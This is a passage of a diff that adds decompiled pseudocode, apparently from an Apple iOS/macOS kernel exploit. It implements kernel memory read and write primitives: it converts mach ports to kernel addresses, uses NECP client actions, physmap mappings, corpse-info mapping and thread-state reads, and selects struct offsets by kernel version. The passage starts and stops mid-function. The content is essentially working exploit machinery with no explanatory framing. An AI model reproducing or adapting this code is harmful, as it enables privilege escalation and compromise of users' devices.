0xFFFFFFFF + && a1[0x64D] != 0xFFFFFFFF + && a1[0x64E] != 0xFFFFFFFF + && a1[0x64F] != 0xFFFFFFFF + && validate_addr_maybe2((__int64)a1, a2) ) + { + v17 = 0xFFFFFFFF; + if ( a5 ) + { + test = fd_open_dev_null(&v17); + if ( (_DWORD)test ) + goto LABEL_15; + test = fd_read_test(a1 + 0x64C); + if ( (_DWORD)test ) + goto LABEL_15; + } + v14 = a4; + v15 = 0x1000000000000000LL; + v16 = a2; + test = sub_1F714((__int64)(a1 + 0x64C), &v14, 0x18uLL); + if ( !(_DWORD)test ) + { + test = sub_1F770(a1 + 0x64C, v13, 0x18uLL); + if ( !(_DWORD)test ) + { + if ( v14 ^ v13[0] | v15 ^ v13[1] | v16 ^ v13[2] ) + test = 0xAD014LL; + else + test = sub_1F770(a1 + 0x64E, a3, a4); + } + } + if ( a5 ) +LABEL_15: + fd_close(v17); + return test; + } + return v5; +} + +//----- (0000000000025498) ---------------------------------------------------- +__int64 __fastcall sub_25498(int *a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5) +{ + __int64 v5; // x20 + __int64 test; // x26 + _QWORD v13[3]; // [xsp+8h] [xbp-78h] BYREF + __int128 v14; // [xsp+20h] [xbp-60h] BYREF + unsigned __int64 v15; // [xsp+30h] [xbp-50h] + int v16; // [xsp+3Ch] [xbp-44h] BYREF + + v5 = 0xAD001LL; + if ( a1[0x64C] != 0xFFFFFFFF + && a1[0x64D] != 0xFFFFFFFF + && a1[0x64E] != 0xFFFFFFFF + && a1[0x64F] != 0xFFFFFFFF + && validate_addr_maybe2((__int64)a1, a2) ) + { + v16 = 0xFFFFFFFF; + if ( a5 ) + { + test = fd_open_dev_null(&v16); + if ( (_DWORD)test ) + goto LABEL_15; + test = fd_read_test(a1 + 0x64C); + if ( (_DWORD)test ) + goto LABEL_15; + } + v14 = xmmword_436C0; + v15 = a2; + test = sub_1F714((__int64)(a1 + 0x64C), &v14, 0x18uLL); + if ( !(_DWORD)test ) + { + test = sub_1F770(a1 + 0x64C, v13, 0x18uLL); + if ( !(_DWORD)test ) + { + if ( (unsigned __int64)v14 ^ v13[0] | *((_QWORD *)&v14 + 1) ^ v13[1] | v15 ^ v13[2] ) + test = 0xAD014LL; + else + test = sub_1F714((__int64)(a1 + 0x64E), a3, a4); + } + } + if ( a5 ) +LABEL_15: + fd_close(v16); + return test; + } + return v5; +} +// 436C0: using guessed type __int128 xmmword_436C0; + +//----- (00000000000255FC) ---------------------------------------------------- +__int64 __fastcall sub_255FC(__int64 result, __int64 a2, __int64 a3, __int64 a4, int a5) +{ + __int64 v5; // x8 + + *(_OWORD *)(a2 + 0x80) = 0u; + *(_OWORD *)(a2 + 0x90) = 0u; + *(_OWORD *)(a2 + 0x60) = 0u; + *(_OWORD *)(a2 + 0x70) = 0u; + *(_OWORD *)(a2 + 0x40) = 0u; + *(_OWORD *)(a2 + 0x50) = 0u; + *(_OWORD *)(a2 + 0x20) = 0u; + *(_OWORD *)(a2 + 0x30) = 0u; + *(_OWORD *)a2 = 0u; + *(_OWORD *)(a2 + 0x10) = 0u; + *(_QWORD *)(a2 + 0x10) = 0x6300000003LL; + *(_DWORD *)(a2 + 0x1C) = 0; + if ( a5 == 7 && (v5 = *(_QWORD *)(result + 0x220)) != 0 ) + { + *(_QWORD *)(a2 + 0x28) = v5; + *(_QWORD *)(a2 + 0x38) = a3 + 0x60; + *(_QWORD *)(a2 + 0x68) = a4; + } + else + { + *(_QWORD *)(a2 + 0x28) = a3 + 0x60; + *(_QWORD *)(a2 + 0x38) = a4; + *(_DWORD *)(a2 + 0x60) = a5; + } + *(_QWORD *)(a2 + 0x40) = 0LL; + *(_BYTE *)(a2 + 0x53) = 0x22; + *(_QWORD *)(a2 + 0x58) = 0LL; + return result; +} + +//----- (000000000002566C) ---------------------------------------------------- +__int64 __fastcall sub_2566C(__int64 a1, int *a2, unsigned __int64 a3) +{ + __int64 result; // x0 + _BYTE __s2[96]; // [xsp+8h] [xbp-D8h] BYREF + _BYTE __s1[96]; // [xsp+68h] [xbp-78h] BYREF + + if ( !kreadbuf(a1, a3, 0x60uLL, __s1, 1LL) ) + return 0x2800FLL; + result = sub_1F714((__int64)a2, __s1, 0x60uLL); + if ( !(_DWORD)result ) + { + result = sub_1F770(a2, __s2, 0x60uLL); + if ( !(_DWORD)result ) + { + if ( !memcmp(__s1, __s2, 0x60uLL) ) + return 0LL; + else + return 0xAD014LL; + } + } + return result; +} + +//----- (000000000002572C) ---------------------------------------------------- +__int64 __fastcall kreadbuf_last_1(__int64 a1, __int64 a2, __int64 a3, __int64 a4) +{ + return kreadbuf(a1, a2, a3, a4, 1LL); +} +// 2A360: using guessed type __int64 __fastcall kreadbuf(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); + +//----- (0000000000025734) ---------------------------------------------------- +bool __fastcall sub_25734(__int64 a1) +{ + __int64 v1; // x19 + unsigned __int64 v2; // x8 + bool v3; // zf + int v5; // w1 + + v1 = a1; + v2 = *(_QWORD *)(a1 + 0x158); + if ( v2 >= 0x27120000000000LL ) + { + v3 = *(_QWORD *)(a1 + 0x1D50) == 0LL; + return !v3; + } + if ( v2 < 0x1F530F02800000LL ) + { + if ( *(_QWORD *)(a1 + 0x230) && *(_QWORD *)(a1 + 0x228) ) + { + if ( *(_BYTE *)(a1 + 0xB) ) + { + v5 = 0x800100; + goto LABEL_16; + } + return 1LL; + } + return 0LL; + } + if ( *(_DWORD *)(a1 + 0x1944) == 0xFFFFFFFF + || uuid_is_null((const unsigned __int8 *)(a1 + 0x1948)) + || !*(_QWORD *)(v1 + 0x1958) ) + { + return 0LL; + } + if ( !*(_BYTE *)(v1 + 0xB) ) + return 1LL; + a1 = v1; + v5 = 0x8000100; +LABEL_16: + v3 = !krw_ctx_has_flag((_DWORD *)a1, v5); + return !v3; +} + +//----- (0000000000025804) ---------------------------------------------------- +__int64 __fastcall sub_25804(__int64 a1) +{ + unsigned __int64 v2; // x8 + _QWORD *v3; // x21 + int v4; // w0 + int v5; // w20 + int v6; // w0 + int v7; // w21 + __int64 v8; // x20 + unsigned __int64 v9; // x22 + __int64 v10; // x9 + __int64 v11; // x9 + mach_port_t v12; // w21 + unsigned __int64 v13; // x0 + unsigned __int64 v14; // x0 + vm_size_t v15; // x22 + int v16; // w0 + int v17; // w19 + int v18; // w8 + int v19; // w19 + int v20; // w8 + void *(__cdecl *v21)(void *); // x0 + int v22; // w8 + thread_act_t v23; // w0 + mach_port_t v25; // w23 + unsigned __int64 v26; // x0 + unsigned __int64 v27; // x20 + __int64 v28; // x8 + _BOOL4 has_flag; // w0 + __int64 v30; // x0 + int v31; // w24 + pthread_t v32; // x8 + __int64 v33; // [xsp+0h] [xbp-B0h] BYREF + int v34; // [xsp+Ch] [xbp-A4h] BYREF + __int64 v35; // [xsp+10h] [xbp-A0h] BYREF + vm_address_t address; // [xsp+18h] [xbp-98h] BYREF + pthread_t v37; // [xsp+20h] [xbp-90h] BYREF + pthread_attr_t v38; // [xsp+28h] [xbp-88h] BYREF + + v2 = *(_QWORD *)(a1 + 0x158); + if ( v2 >= 0x27120000000000LL ) + { + address = 0LL; + v37 = 0LL; + v3 = calloc(1uLL, 0x20uLL); + if ( v3 ) + { + v4 = pthread_attr_init(&v38); + if ( v4 ) + { + v5 = v4; + } + else + { + v16 = pthread_attr_setdetachstate(&v38, 1); + if ( v16 ) + { + v5 = v16; + pthread_attr_destroy(&v38); + } + else + { + v21 = (void *(__cdecl *)(void *))nullsub_1(sub_2AB10); + v5 = pthread_create_suspended_np(&v37, &v38, v21, 0LL); + pthread_attr_destroy(&v38); + if ( !v5 ) + { + v25 = pthread_mach_thread_np(v37); + v26 = port_name_to_kaddr(a1, v25); + if ( v26 ) + { + v27 = v26; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) + { + v28 = 0x108LL; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) + { + v28 = 0xB8LL; + } + else + { + has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x200); + v28 = 0xB8LL; + if ( !has_flag ) + v28 = 0x100LL; + } + v30 = get_kobject_maybe(a1, v28 + v27); + if ( v30 ) + { + v31 = v30; + address = 0LL; + v15 = *(unsigned int *)(a1 + 0x180); + v8 = physmap_maybe(a1, &address, v15, v30 & ~*(_QWORD *)(a1 + 0x188)); + if ( !(_DWORD)v8 ) + { + v32 = v37; + v3[1] = v15; + v3[2] = v32; + LODWORD(v32) = *(_DWORD *)(a1 + 0x188) & v31; + *((_DWORD *)v3 + 6) = v25; + *((_DWORD *)v3 + 7) = (_DWORD)v32; + *v3 = address; + *(_QWORD *)(a1 + 0x1D50) = v3; + return v8; + } + } + else + { + v15 = 0LL; + v8 = 0x28026LL; + } + } + else + { + v15 = 0LL; + v8 = 0x28008LL; + } + goto LABEL_42; + } + } + } + v15 = 0LL; + if ( v5 >= 0 ) + v22 = v5; + else + v22 = -v5; + v8 = v22 | 0x40000000u; + } + else + { + v15 = 0LL; + v8 = 0xAD009LL; + } +LABEL_42: + if ( v37 ) + { + v23 = pthread_mach_thread_np(v37); + if ( !thread_resume(v23) ) + pthread_join(v37, 0LL); + } + if ( address && v15 ) + vm_deallocate(mach_task_self_, address, v15); + if ( v3 ) + free(v3); + return v8; + } + if ( v2 < 0x1F530F02800000LL ) + { + v12 = mach_task_self_; + v13 = sub_34FF8(a1, mach_task_self_, (unsigned int *)&v38); + v8 = 0x2800ELL; + if ( v13 ) + { + *(_QWORD *)(a1 + 0x230) = v13; + v14 = sub_33268(a1, v12); + if ( v14 ) + { + v8 = 0LL; + *(_QWORD *)(a1 + 0x228) = v14; + } + } + } + else + { + v37 = 0LL; + v6 = necp_open(); + if ( v6 != 0xFFFFFFFF ) + { + v7 = v6; + if ( (unsigned int)necp_client_action() == 0xFFFFFFFF ) + { + v19 = *__error(); + v20 = *__error(); + if ( v19 < 0 ) + v20 = -v20; + v8 = v20 | 0x40000000u; + } + else + { + v8 = sub_35938((_DWORD *)a1, v7, &address); + if ( !(_DWORD)v8 ) + { + v8 = 0x2800FLL; + if ( kread64((_DWORD *)a1, address + 0x18, &v35) ) + { + if ( validate_addr(a1, v35) ) + { + v9 = *(_QWORD *)(a1 + 0x158); + v10 = 0x370LL; + if ( v9 > 0x1F541DFFFFFFFFLL ) + v10 = 0x570LL; + if ( v9 >> 0x2B > 0x44A ) + v10 = 0x580LL; + if ( kreadbuf(a1, v10 + v35, 4uLL, &v34, 1LL) ) + { + if ( v34 != 8 ) + return 0x28011LL; + v11 = 0x378LL; + if ( v9 > 0x1F541DFFFFFFFFLL ) + v11 = 0x578LL; + if ( v9 >> 0x2B > 0x44A ) + v11 = 0x588LL; + if ( kread64((_DWORD *)a1, v35 + v11, &v33) ) + { + if ( validate_addr(a1, v33) ) + { + v8 = 0LL; + *(_DWORD *)(a1 + 0x1944) = v7; + *(_OWORD *)(a1 + 0x1948) = *(_OWORD *)&v38.__sig; + *(_QWORD *)(a1 + 0x1958) = v35; + } + else + { + return 0x28026LL; + } + } + return v8; + } + } + else + { + v8 = 0x28026LL; + } + } + } + } + close(v7); + return v8; + } + v17 = *__error(); + v18 = *__error(); + if ( v17 < 0 ) + v18 = -v18; + return v18 | 0x40000000u; + } + return v8; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000025C6C) ---------------------------------------------------- +__int64 __fastcall sub_25C6C(__int64 a1) +{ + unsigned __int64 v2; // x8 + __int64 v3; // x21 + __int64 v4; // x20 + vm_size_t v5; // x2 + kern_return_t v6; // w0 + _opaque_pthread_t *v7; // x0 + thread_act_t v8; // w0 + int v9; // w0 + int v10; // w0 + int v12; // [xsp+8h] [xbp-28h] BYREF + int v13; // [xsp+Ch] [xbp-24h] BYREF + + v2 = *(_QWORD *)(a1 + 0x158); + if ( v2 < 0x27120000000000LL ) + { + if ( v2 < 0x1F530F02800000LL ) + { + return 0LL; + } + else + { + v12 = 0xFFFFFFFF; + v3 = fd_open_dev_null(&v12); + if ( !(_DWORD)v3 ) + { + v9 = *(_DWORD *)(a1 + 0x1944); + if ( v9 != 0xFFFFFFFF ) + { + close(v9); + *(_DWORD *)(a1 + 0x1944) = 0xFFFFFFFF; + } + *(_OWORD *)(a1 + 0x1948) = 0u; + *(_QWORD *)(a1 + 0x1958) = 0LL; + v10 = v12; + goto LABEL_21; + } + } + } + else + { + v13 = 0xFFFFFFFF; + v3 = fd_open_dev_null(&v13); + if ( !(_DWORD)v3 ) + { + v4 = *(_QWORD *)(a1 + 0x1D50); + *(_QWORD *)(a1 + 0x1D50) = 0LL; + if ( !v4 ) + { + v3 = 0LL; +LABEL_20: + v10 = v13; +LABEL_21: + fd_close(v10); + return v3; + } + if ( *(_QWORD *)v4 ) + { + v5 = *(_QWORD *)(v4 + 8); + if ( v5 ) + { + v6 = vm_deallocate(mach_task_self_, *(_QWORD *)v4, v5); + if ( v6 ) + goto LABEL_9; + } + } + v7 = *(_opaque_pthread_t **)(v4 + 0x10); + if ( v7 ) + { + v8 = pthread_mach_thread_np(v7); + v6 = thread_resume(v8); + if ( v6 ) + { +LABEL_9: + v3 = v6 | 0x80000000; +LABEL_19: + *(_OWORD *)v4 = 0u; + *(_OWORD *)(v4 + 0x10) = 0u; + *(_QWORD *)(a1 + 0x1D50) = 0LL; + free((void *)v4); + goto LABEL_20; + } + pthread_join(*(pthread_t *)(v4 + 0x10), 0LL); + } + v3 = 0LL; + goto LABEL_19; + } + } + return v3; +} + +//----- (0000000000025DB0) ---------------------------------------------------- +__int64 __fastcall sub_25DB0(__int64 a1) +{ + unsigned __int64 v1; // x8 + unsigned int v2; // w9 + + v1 = *(_QWORD *)(a1 + 0x158); + if ( v1 <= 0x1F530F027FFFFFLL ) + v2 = 0x4000; + else + v2 = 0x80000; + if ( v1 <= 0x2711FFFFFFFFFFLL ) + return v2; + else + return 0x210LL; +} + +//----- (0000000000025DE8) ---------------------------------------------------- +bool __fastcall sub_25DE8(__int64 a1) +{ + return *(_DWORD *)(a1 + 0x1930) != 0xFFFFFFFF + && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF + && *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF + && *(_QWORD *)(a1 + 0x218) + || (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 + && *(_QWORD *)(a1 + 0xF8) + && *(_QWORD *)(a1 + 0x100) + && *(int *)(a1 + 0x140) < 0x2712; +} + +//----- (0000000000025E54) ---------------------------------------------------- +__int64 __fastcall kreadbuf_via_dev_null_only(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) +{ + __int64 v5; // x21 + __int64 test; // x26 + __int64 v12; // x28 + unsigned int v13; // w8 + __int64 v14; // x19 + __int64 v15; // x26 + size_t v16; // x27 + unsigned __int64 v17; // x8 + int v18; // w9 + unsigned int v19; // w8 + unsigned int v20; // w8 + __int64 v21; // x25 + __int64 v22; // x2 + __int64 v23; // x0 + int v24; // w25 + int v25; // w8 + size_t v26; // x2 + size_t v27; // x2 + int v28; // w25 + int v29; // w8 + int v31; // [xsp+14h] [xbp-1CCh] + __int64 v32; // [xsp+18h] [xbp-1C8h] + int *v33; // [xsp+20h] [xbp-1C0h] + int v34; // [xsp+2Ch] [xbp-1B4h] BYREF + _BYTE __s2[160]; // [xsp+30h] [xbp-1B0h] BYREF + _DWORD __s1[42]; // [xsp+D0h] [xbp-110h] BYREF + + v5 = 0xAD001LL; + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF + || !*(_QWORD *)(a1 + 0x218) + || !validate_addr_maybe2(a1, a2) ) + { + return v5; + } + v34 = 0xFFFFFFFF; + if ( a5 ) + { + test = fd_open_dev_null(&v34); + if ( (_DWORD)test ) + goto LABEL_67; + test = fd_read_test((int *)(a1 + 0x1930)); + if ( (_DWORD)test ) + goto LABEL_67; + } + v31 = a5; + v33 = (int *)(a1 + 0x1930); + if ( *(_QWORD *)(a1 + 0x220) ) + v12 = 8LL; + else + v12 = 4LL; + if ( !a4 ) + { +LABEL_61: + test = sub_267E8(a1); + goto LABEL_66; + } + v13 = 0; + v32 = v12; + while ( 1 ) + { + v14 = v13; + v15 = a2 + v13; + v16 = a4 - v13; + if ( (*(_QWORD *)(a1 + 0x188) & v15) != 0 || (unsigned int)v16 < 0x4000 || !sub_25734(a1) ) + break; + v17 = *(_QWORD *)(a1 + 0x158); + if ( v17 <= 0x1F530F027FFFFFLL ) + v18 = 0x4000; + else + v18 = 0x80000; + if ( v17 <= 0x2711FFFFFFFFFFLL ) + v19 = v18; + else + v19 = 0x210; + if ( (unsigned int)v16 >= v19 ) + LODWORD(v16) = v19; + test = sub_26204(a1, v15, (char *)(a3 + v14), v16); +LABEL_54: + if ( (_DWORD)test ) + goto LABEL_65; + v13 = v16 + v14; + if ( (int)v16 + (int)v14 >= a4 ) + goto LABEL_61; + } + v20 = v12 - v16; + if ( (unsigned int)v12 <= (unsigned int)v16 ) + { + v20 = 0; + } + else if ( (((v15 - 1 + (unsigned int)v16) ^ (v15 - 1 + v12)) & ~*(_QWORD *)(a1 + 0x188)) == 0 ) + { + v20 = 0; + } + v21 = v20; + if ( !*(_QWORD *)(a1 + 0x220) ) + { + v23 = sub_266D0(a1, v15 - v20); + if ( (_DWORD)v23 ) + goto LABEL_63; + *__error() = 0; + __s1[0] = fcntl(*(_DWORD *)(a1 + 0x1940), 5); + if ( __s1[0] == 0xFFFFFFFF && *__error() ) + { + v28 = *__error(); + v29 = *__error(); + if ( v28 < 0 ) + v29 = -v29; + test = v29 | 0x40000000u; + } + else + { + if ( (unsigned int)v16 >= 4 ) + v26 = 4LL; + else + v26 = v16; + memcpy((void *)(a3 + v14), (char *)__s1 + v21, v26); + test = 0LL; + } + goto LABEL_53; + } + if ( *v33 == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF || (v22 = *(_QWORD *)(a1 + 0x218)) == 0 ) + { + test = 0xAD001LL; + goto LABEL_65; + } + memset(__s1, 0, 0xA0); + sub_255FC(a1, (__int64)__s1, v22, v15 - v20 - 0x48, 7); + v23 = sub_1F714((__int64)v33, __s1, 0xA0uLL); + if ( (_DWORD)v23 || (v23 = sub_1F770(v33, __s2, 0xA0uLL), (_DWORD)v23) ) + { +LABEL_63: + test = v23; + goto LABEL_65; + } + if ( !memcmp(__s1, __s2, 0xA0uLL) ) + { + if ( ioctl(*(_DWORD *)(a1 + 0x1940), 0x40087367uLL, __s1) ) + { + v24 = *__error(); + v25 = *__error(); + if ( v24 < 0 ) + v25 = -v25; + test = v25 | 0x40000000u; + } + else + { + if ( (unsigned int)v16 >= 8 ) + v27 = 8LL; + else + v27 = v16; + memcpy((void *)(a3 + v14), (char *)__s1 + v21, v27); + test = 0LL; + } + v12 = v32; +LABEL_53: + LODWORD(v16) = v12; + goto LABEL_54; + } + test = 0xAD014LL; +LABEL_65: + sub_267E8(a1); +LABEL_66: + if ( v31 ) +LABEL_67: + fd_close(v34); + return test; +} + +//----- (0000000000026204) ---------------------------------------------------- +__int64 __fastcall sub_26204(__int64 a1, __int64 a2, char *a3, mach_msg_type_number_t a4) +{ + unsigned __int64 v7; // x8 + __int64 v8; // x21 + __int64 *v9; // x8 + unsigned __int64 v10; // x24 + unsigned __int64 v11; // x27 + __int64 v12; // x21 + __int64 v13; // x28 + __int64 v14; // x20 + __int64 v15; // x9 + __int64 v16; // x10 + unsigned __int64 v17; // x9 + unsigned __int64 v18; // x25 + __int64 v19; // x26 + size_t v20; // x22 + __int64 v21; // x23 + unsigned __int64 v22; // x8 + __int64 v23; // x9 + __int64 v24; // x10 + bool v25; // cc + __int64 v26; // x8 + unsigned __int64 v27; // x20 + __int64 v28; // x21 + unsigned __int64 v29; // x23 + __int64 v30; // x8 + __int64 v31; // x8 + __int64 v33; // x8 + unsigned __int64 v34; // x23 + unsigned __int64 v35; // x24 + __int64 v36; // x25 + __int64 v37; // x20 + kern_return_t v38; // w0 + int v39; // w21 + int v40; // w8 + natural_t old_state[134]; // [xsp+10h] [xbp-290h] BYREF + __int64 v43; // [xsp+228h] [xbp-78h] BYREF + __int64 v44; // [xsp+230h] [xbp-70h] BYREF + mach_vm_size_t kcd_size; // [xsp+238h] [xbp-68h] BYREF + mach_msg_type_number_t old_stateCnt[2]; // [xsp+240h] [xbp-60h] BYREF + + v7 = *(_QWORD *)(a1 + 0x158); + if ( v7 < 0x27120000000000LL ) + { + v8 = 0xAD001LL; + if ( v7 >= 0x1F530F02800000LL ) + { + *(_QWORD *)old_state = a2; + old_stateCnt[0] = a4; + if ( *(_DWORD *)(a1 + 0x1944) != 0xFFFFFFFF ) + { + v21 = *(_QWORD *)(a1 + 0x1958); + if ( !uuid_is_null((const unsigned __int8 *)(a1 + 0x1948)) ) + { + if ( *(_QWORD *)(a1 + 0x1958) ) + { + v22 = *(_QWORD *)(a1 + 0x158); + v23 = 0x370LL; + if ( v22 > 0x1F541DFFFFFFFFLL ) + v23 = 0x570LL; + v24 = 0x378LL; + if ( v22 > 0x1F541DFFFFFFFFLL ) + v24 = 0x578LL; + v25 = v22 >> 0x2B > 0x44A; + v26 = 0x580LL; + if ( !v25 ) + v26 = v23; + v27 = v26 + v21; + if ( v25 ) + v28 = 0x588LL; + else + v28 = v24; + v29 = v21 + v28; + if ( noppl_kwritebuf(a1, v27, old_stateCnt, 4uLL, 0) ) + { + LODWORD(v8) = 0x28010; + if ( noppl_kwritebuf(a1, v29, old_state, *(unsigned int *)(a1 + 0x168), 0) ) + { + if ( (unsigned int)necp_client_action() == a4 ) + { + LODWORD(v8) = 0; + } + else + { + v39 = *__error(); + v40 = *__error(); + if ( v39 < 0 ) + v40 = -v40; + LODWORD(v8) = v40 | 0x40000000; + } + } + } + else + { + LODWORD(v8) = 0x28010; + } + old_stateCnt[0] = 0; + if ( noppl_kwritebuf(a1, v27, old_stateCnt, 4uLL, 0) | (unsigned int)v8 ) + v8 = (unsigned int)v8; + else + v8 = 0x28010LL; + *(_QWORD *)old_state = 0LL; + if ( !noppl_kwritebuf(a1, v29, old_state, *(unsigned int *)(a1 + 0x168), 0) ) + { + if ( (_DWORD)v8 ) + return (unsigned int)v8; + else + return 0x28010LL; + } + } + } + } + return v8; + } + *(_QWORD *)old_state = a2; + kcd_size = 0LL; + *(_QWORD *)old_stateCnt = 0LL; + v43 = 0LL; + v44 = 0LL; + if ( a4 > 0x4000 || !*(_QWORD *)(a1 + 0x230) || !*(_QWORD *)(a1 + 0x228) ) + return v8; + if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) + { + v33 = *(_QWORD *)(a1 + 0xF0); + if ( !v33 ) + { + v8 = 0xAD009LL; + goto LABEL_75; + } + v31 = v33 + 0x100; + } + else + { + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF ) + goto LABEL_75; + if ( *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) + goto LABEL_75; + if ( *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF ) + goto LABEL_75; + v30 = *(_QWORD *)(a1 + 0x218); + if ( !v30 ) + goto LABEL_75; + v31 = v30 + 0xC0; + } + v8 = 0x28010LL; + v44 = v31; + if ( noppl_kwritebuf(a1, v31 + 8, old_state, *(unsigned int *)(a1 + 0x168), 0) ) + { + v34 = *(_QWORD *)(a1 + 0x228); + if ( noppl_kwritebuf(a1, v34, &v44, *(unsigned int *)(a1 + 0x168), 0) ) + { + v35 = *(_QWORD *)(a1 + 0x230); + v36 = 0x2800FLL; + if ( kreadbuf(a1, v35, 4uLL, (char *)&v43 + 4, 0LL) ) + { + LODWORD(v43) = HIDWORD(v43) | 0x20; + v37 = 0x28010LL; + if ( !noppl_kwritebuf(a1, v35, &v43, 4uLL, 0) ) + goto LABEL_70; + v38 = task_map_corpse_info_64(mach_task_self_, mach_task_self_, (mach_vm_address_t *)old_stateCnt, &kcd_size); + if ( v38 ) + { + v36 = v38 | 0x80000000; + } + else if ( *(_QWORD *)old_stateCnt && kcd_size == 0x4000 ) + { + memcpy(a3, *(const void **)old_stateCnt, a4); + v36 = 0LL; + } + if ( !noppl_kwritebuf(a1, v35, (char *)&v43 + 4, 4uLL, 0) ) + { + if ( (_DWORD)v36 ) + v37 = (unsigned int)v36; + else + v37 = 0x28010LL; + goto LABEL_70; + } + } + v37 = v36; +LABEL_70: + v44 = 0LL; + if ( noppl_kwritebuf(a1, v34, &v44, *(unsigned int *)(a1 + 0x168), 0) ) + { + v8 = v37; + } + else if ( (_DWORD)v37 ) + { + v8 = (unsigned int)v37; + } + else + { + v8 = 0x28010LL; + } + } + } +LABEL_75: + if ( *(_QWORD *)old_stateCnt && kcd_size ) + mach_vm_deallocate(mach_task_self_, *(mach_vm_address_t *)old_stateCnt, kcd_size); + return v8; + } + v8 = 0xAD001LL; + v9 = *(__int64 **)(a1 + 0x1D50); + if ( v9 ) + { + if ( a4 ) + { + v10 = 0LL; + v11 = a4; + while ( 1 ) + { + v12 = v10 + a2; + v13 = *v9; + v14 = *((unsigned int *)v9 + 7); + old_stateCnt[0] = 0x84; + v15 = *(_QWORD *)(a1 + 0x188); + v16 = (v10 + a2) & ~v15; + v17 = v15 & (v10 + a2); + if ( v17 >= (unsigned __int64)*(unsigned int *)(a1 + 0x180) - 0x210 ) + v17 = *(unsigned int *)(a1 + 0x180) - 0x210LL; + v18 = v17 + v16; + v19 = *(_QWORD *)(v13 + v14); + __dsb(0xBu); + *(_QWORD *)(v13 + v14) = v17 + v16 - 0x10; + if ( thread_get_state(*((_DWORD *)v9 + 6), 0x11, old_state, old_stateCnt) || old_stateCnt[0] != 0x84 ) + break; + if ( v18 - v12 + 0x210 <= v11 - v10 ) + v20 = v18 - v12 + 0x210; + else + v20 = v11 - v10; + memcpy(&a3[v10], (char *)old_state + v12 - v18, v20); + *(_QWORD *)(v14 + v13) = v19; + v10 += v20; + if ( v10 >= v11 ) + return 0LL; + v9 = *(__int64 **)(a1 + 0x1D50); + } + *(_QWORD *)(v14 + v13) = v19; + return 0xAD022LL; + } + else + { + return 0LL; + } + } + return v8; +} + +//----- (00000000000266D0) ---------------------------------------------------- +__int64 __fastcall sub_266D0(__int64 a1, __int64 a2) +{ + __int64 v2; // x19 + __int64 v3; // x8 + int *v4; // x20 + __int64 v5; // x0 + _BYTE v7[160]; // [xsp+0h] [xbp-170h] BYREF + _OWORD __s1[2]; // [xsp+A0h] [xbp-D0h] BYREF + __int64 v9; // [xsp+C0h] [xbp-B0h] + __int64 v10; // [xsp+C8h] [xbp-A8h] + __int64 v11; // [xsp+D0h] [xbp-A0h] + __int64 v12; // [xsp+D8h] [xbp-98h] + __int128 v13; // [xsp+E0h] [xbp-90h] + __int128 v14; // [xsp+F0h] [xbp-80h] + __int128 v15; // [xsp+100h] [xbp-70h] + __int128 v16; // [xsp+110h] [xbp-60h] + __int128 v17; // [xsp+120h] [xbp-50h] + __int128 v18; // [xsp+130h] [xbp-40h] + + v2 = 0xAD001LL; + if ( *(_DWORD *)(a1 + 0x1930) != 0xFFFFFFFF && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF ) + { + v3 = *(_QWORD *)(a1 + 0x218); + if ( v3 ) + { + v4 = (int *)(a1 + 0x1930); + v9 = 0LL; + v11 = 0LL; + v17 = 0u; + v18 = 0u; + v15 = 0u; + v16 = 0u; + v13 = 0u; + v14 = 0u; + __s1[0] = 0u; + __s1[1] = 0x6300000003uLL; + v10 = v3 + 0x60; + v12 = a2 - 0x60; + LODWORD(v15) = 2; + BYTE3(v14) = 0x22; + v5 = sub_1F714(a1 + 0x1930, __s1, 0xA0uLL); + if ( !(_DWORD)v5 ) + { + v5 = sub_1F770(v4, v7, 0xA0uLL); + if ( !(_DWORD)v5 ) + { + if ( !memcmp(__s1, v7, 0xA0uLL) ) + return 0LL; + else + return 0xAD014LL; + } + } + return v5; + } + } + return v2; +} + +//----- (00000000000267E8) ---------------------------------------------------- +__int64 __fastcall sub_267E8(__int64 a1) +{ + __int64 v1; // x19 + __int64 v2; // x8 + int *v3; // x20 + __int64 v4; // x0 + _BYTE v6[160]; // [xsp+0h] [xbp-170h] BYREF + _OWORD __s1[2]; // [xsp+A0h] [xbp-D0h] BYREF + __int64 v8; // [xsp+C0h] [xbp-B0h] + __int64 v9; // [xsp+C8h] [xbp-A8h] + __int128 v10; // [xsp+D0h] [xbp-A0h] + __int128 v11; // [xsp+E0h] [xbp-90h] + __int128 v12; // [xsp+F0h] [xbp-80h] + __int128 v13; // [xsp+100h] [xbp-70h] + __int128 v14; // [xsp+110h] [xbp-60h] + __int128 v15; // [xsp+120h] [xbp-50h] + __int128 v16; // [xsp+130h] [xbp-40h] + + v1 = 0xAD001LL; + if ( *(_DWORD *)(a1 + 0x1930) != 0xFFFFFFFF && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF ) + { + v2 = *(_QWORD *)(a1 + 0x218); + if ( v2 ) + { + v3 = (int *)(a1 + 0x1930); + v15 = 0u; + v16 = 0u; + v13 = 0u; + v14 = 0u; + v11 = 0u; + v12 = 0u; + v8 = 0LL; + v10 = 0u; + __s1[0] = 0u; + __s1[1] = 0x6300000003uLL; + v9 = v2 + 0x60; + LODWORD(v13) = 3; + BYTE3(v12) = 0x22; + v4 = sub_1F714(a1 + 0x1930, __s1, 0xA0uLL); + if ( !(_DWORD)v4 ) + { + v4 = sub_1F770(v3, v6, 0xA0uLL); + if ( 